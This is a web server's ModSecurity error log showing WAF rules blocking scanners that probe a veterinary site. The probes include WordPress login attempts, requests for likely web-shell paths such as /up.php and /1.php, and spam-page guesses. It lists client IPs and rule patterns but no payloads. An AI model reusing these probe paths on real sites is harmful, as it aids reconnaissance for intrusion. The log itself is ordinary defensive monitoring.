[Fri Mar 13 17:50:11.174043 2026] [:error] [pid 9309:tid 9327] [client 170.106.167.214:57756] [client 170.106.167.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abPd06o1KEMMghNWAN8ZJQAAAgQ"]
[Fri Mar 13 21:27:38.792164 2026] [:error] [pid 60496:tid 60528] [client 104.28.166.127:25231] [client 104.28.166.127] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "abQQygb67oGiJ3jaL8z5jwAAA1g"]
[Fri Mar 13 23:13:16.231631 2026] [:error] [pid 60497:tid 60549] [client 129.153.36.55:55862] [client 129.153.36.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.153.36.55, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abQpjBjNYgapWlkb4ljOowAAA5I"]
[Sat Mar 14 00:00:32.219885 2026] [:error] [pid 60496:tid 60510] [client 51.89.43.80:62054] [client 51.89.43.80] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "abQ0oAb67oGiJ3jaL8wuEwAAA0Y"]
[Sat Mar 14 00:12:37.873990 2026] [:error] [pid 60496:tid 60516] [client 4.204.197.4:64524] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "abQ3dQb67oGiJ3jaL8w2NwAAA0w"]
[Sat Mar 14 00:12:38.421365 2026] [:error] [pid 60436:tid 60476] [client 4.204.197.4:65240] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "abQ3doI3PEddCArY1Aa8aAAAAwc"]
[Sat Mar 14 00:12:39.353314 2026] [:error] [pid 9311:tid 9360] [client 4.204.197.4:65224] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "abQ3d1TiCkU4QLmYwPlJZAAAAkk"]
[Sat Mar 14 00:12:39.986916 2026] [:error] [pid 60436:tid 60470] [client 4.204.197.4:65153] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "abQ3d4I3PEddCArY1Aa8bgAAAwE"]
[Sat Mar 14 00:12:40.477608 2026] [:error] [pid 60436:tid 60472] [client 4.204.197.4:65279] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "abQ3eII3PEddCArY1Aa8cgAAAwM"]
[Sat Mar 14 00:12:40.971367 2026] [:error] [pid 60436:tid 60485] [client 4.204.197.4:65238] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "abQ3eII3PEddCArY1Aa8dgAAAxA"]
[Sat Mar 14 00:12:41.551419 2026] [:error] [pid 60497:tid 60551] [client 4.204.197.4:65191] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "abQ3eRjNYgapWlkb4ljfNQAAA5M"]
[Sat Mar 14 00:12:42.152669 2026] [:error] [pid 9311:tid 9351] [client 4.204.197.4:65244] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "abQ3elTiCkU4QLmYwPlJagAAAkA"]
[Sat Mar 14 00:12:42.628166 2026] [:error] [pid 60497:tid 60540] [client 4.204.197.4:65227] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin.php"] [unique_id "abQ3ehjNYgapWlkb4ljfPgAAA4k"]
[Sat Mar 14 00:12:43.127153 2026] [:error] [pid 60398:tid 60423] [client 4.204.197.4:65186] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin.php"] [unique_id "abQ3e0CJdGSTt6QlH2BmZAAAApQ"]
[Sat Mar 14 00:12:43.707595 2026] [:error] [pid 9311:tid 9368] [client 4.204.197.4:64589] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin.php"] [unique_id "abQ3e1TiCkU4QLmYwPlJbwAAAlE"]
[Sat Mar 14 00:12:44.419850 2026] [:error] [pid 9309:tid 9323] [client 4.204.197.4:65221] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin.php"] [unique_id "abQ3fKo1KEMMghNWAN9gGgAAAgA"]
[Sat Mar 14 00:12:45.179418 2026] [:error] [pid 60496:tid 60525] [client 4.204.197.4:64552] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abQ3fQb67oGiJ3jaL8w2QwAAA1U"]
[Sat Mar 14 00:12:45.637133 2026] [:error] [pid 9309:tid 9329] [client 4.204.197.4:64601] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abQ3fao1KEMMghNWAN9gHgAAAgY"]
[Sat Mar 14 00:12:46.148842 2026] [:error] [pid 60496:tid 60517] [client 4.204.197.4:64550] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abQ3fgb67oGiJ3jaL8w2RwAAA00"]
[Sat Mar 14 00:12:46.725210 2026] [:error] [pid 60496:tid 60516] [client 4.204.197.4:64577] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abQ3fgb67oGiJ3jaL8w2SwAAA0w"]
[Sat Mar 14 00:12:47.221676 2026] [:error] [pid 60436:tid 60478] [client 4.204.197.4:64552] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "abQ3f4I3PEddCArY1Aa8fwAAAwk"]
[Sat Mar 14 00:12:47.760783 2026] [:error] [pid 60496:tid 60520] [client 4.204.197.4:65194] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "abQ3fwb67oGiJ3jaL8w2UAAAA1A"]
[Sat Mar 14 00:12:48.239679 2026] [:error] [pid 60436:tid 60493] [client 4.204.197.4:65247] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "abQ3gII3PEddCArY1Aa8hQAAAxg"]
[Sat Mar 14 00:12:48.752902 2026] [:error] [pid 60496:tid 60507] [client 4.204.197.4:65216] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "abQ3gAb67oGiJ3jaL8w2VAAAA0M"]
[Sat Mar 14 00:12:49.860473 2026] [:error] [pid 60497:tid 60555] [client 4.204.197.4:65187] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "abQ3gRjNYgapWlkb4ljfUwAAA5c"]
[Sat Mar 14 00:12:50.389399 2026] [:error] [pid 60496:tid 60516] [client 4.204.197.4:64624] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "abQ3ggb67oGiJ3jaL8w2WgAAA0w"]
[Sat Mar 14 00:12:50.940700 2026] [:error] [pid 60497:tid 60549] [client 4.204.197.4:64549] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "abQ3ghjNYgapWlkb4ljfVQAAA5I"]
[Sat Mar 14 00:12:51.380644 2026] [:error] [pid 9311:tid 9358] [client 4.204.197.4:64591] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "abQ3g1TiCkU4QLmYwPlJdwAAAkc"]
[Sat Mar 14 00:12:51.983483 2026] [:error] [pid 60497:tid 60538] [client 4.204.197.4:64517] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "abQ3gxjNYgapWlkb4ljfVwAAA4c"]
[Sat Mar 14 00:12:52.516555 2026] [:error] [pid 9311:tid 9352] [client 4.204.197.4:65161] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "abQ3hFTiCkU4QLmYwPlJeQAAAkE"]
[Sat Mar 14 00:12:53.013544 2026] [:error] [pid 61928:tid 61979] [client 4.204.197.4:65251] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "abQ3hQod66AHekJJZiq07QAAAEI"]
[Sat Mar 14 00:12:53.519556 2026] [:error] [pid 60398:tid 60417] [client 4.204.197.4:64564] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "abQ3hUCJdGSTt6QlH2BmagAAAo4"]
[Sat Mar 14 00:12:54.016175 2026] [:error] [pid 9311:tid 9353] [client 4.204.197.4:65202] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up.php"] [unique_id "abQ3hlTiCkU4QLmYwPlJfgAAAkI"]
[Sat Mar 14 00:12:54.462751 2026] [:error] [pid 9311:tid 9364] [client 4.204.197.4:64617] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up.php"] [unique_id "abQ3hlTiCkU4QLmYwPlJgQAAAk0"]
[Sat Mar 14 00:12:54.990693 2026] [:error] [pid 60496:tid 60521] [client 4.204.197.4:64586] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up.php"] [unique_id "abQ3hgb67oGiJ3jaL8w2ZgAAA1E"]
[Sat Mar 14 00:12:55.550840 2026] [:error] [pid 60497:tid 60541] [client 4.204.197.4:64614] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up.php"] [unique_id "abQ3hxjNYgapWlkb4ljfaAAAA4o"]
[Sat Mar 14 00:12:56.017809 2026] [:error] [pid 60497:tid 60547] [client 4.204.197.4:65250] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "abQ3iBjNYgapWlkb4ljfagAAA5A"]
[Sat Mar 14 00:12:56.527028 2026] [:error] [pid 60496:tid 60523] [client 4.204.197.4:65192] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "abQ3iAb67oGiJ3jaL8w2bAAAA1M"]
[Sat Mar 14 00:12:57.118739 2026] [:error] [pid 60497:tid 60544] [client 4.204.197.4:64545] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "abQ3iRjNYgapWlkb4ljfbQAAA40"]
[Sat Mar 14 00:12:57.600636 2026] [:error] [pid 60497:tid 60533] [client 4.204.197.4:65212] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "abQ3iRjNYgapWlkb4ljfbgAAA4I"]
[Sat Mar 14 00:21:43.383799 2026] [:error] [pid 47905:tid 48013] [client 185.117.225.114:46018] [client 185.117.225.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.114, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abQ5lxaYZayP4o4wpJcGEQAAAVQ"]
[Sat Mar 14 01:28:42.155174 2026] [:error] [pid 48070:tid 48090] [client 217.182.194.16:47874] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abRJSkIvrhMS5BVHxNkdgwAAABI"]
[Sat Mar 14 01:28:44.947365 2026] [:error] [pid 47878:tid 47945] [client 217.182.194.16:41516] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abRJTH8jymmmpr1jcBetOwAAAEY"]
[Sat Mar 14 01:28:47.842976 2026] [:error] [pid 47891:tid 47989] [client 217.182.194.16:41524] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "abRJT_chNnuMqi7I_WH4JAAAAJc"]
[Sat Mar 14 01:28:50.271950 2026] [:error] [pid 47878:tid 47962] [client 217.182.194.16:33368] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abRJUn8jymmmpr1jcBetPwAAAFc"]
[Sat Mar 14 01:28:53.252072 2026] [:error] [pid 48070:tid 48079] [client 217.182.194.16:33382] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abRJVUIvrhMS5BVHxNkduAAAAAc"]
[Sat Mar 14 01:28:55.929783 2026] [:error] [pid 47905:tid 47995] [client 217.182.194.16:33392] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abRJVxaYZayP4o4wpJci4QAAAUI"]
[Sat Mar 14 01:28:58.812169 2026] [:error] [pid 47878:tid 47946] [client 217.182.194.16:33404] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abRJWn8jymmmpr1jcBetSQAAAEc"]
[Sat Mar 14 01:29:01.258107 2026] [:error] [pid 47905:tid 47998] [client 217.182.194.16:44662] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abRJXRaYZayP4o4wpJci7AAAAUU"]
[Sat Mar 14 01:29:03.741121 2026] [:error] [pid 47905:tid 48007] [client 217.182.194.16:44670] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abRJXxaYZayP4o4wpJci9AAAAU4"]
[Sat Mar 14 01:29:06.287927 2026] [:error] [pid 47878:tid 47939] [client 217.182.194.16:44672] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abRJYn8jymmmpr1jcBetTAAAAEA"]
[Sat Mar 14 01:29:08.823291 2026] [:error] [pid 47878:tid 47957] [client 217.182.194.16:33660] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abRJZH8jymmmpr1jcBetUwAAAFI"]
[Sat Mar 14 01:29:11.268907 2026] [:error] [pid 48070:tid 48081] [client 217.182.194.16:33664] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abRJZ0IvrhMS5BVHxNkd5QAAAAk"]
[Sat Mar 14 01:29:13.873573 2026] [:error] [pid 47891:tid 47985] [client 217.182.194.16:33672] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abRJafchNnuMqi7I_WH4PQAAAJM"]
[Sat Mar 14 01:29:16.505588 2026] [:error] [pid 47891:tid 47971] [client 217.182.194.16:33678] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abRJbPchNnuMqi7I_WH4SgAAAIU"]
[Sat Mar 14 01:29:19.398680 2026] [:error] [pid 48070:tid 48078] [client 217.182.194.16:52562] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abRJb0IvrhMS5BVHxNkd7AAAAAY"]
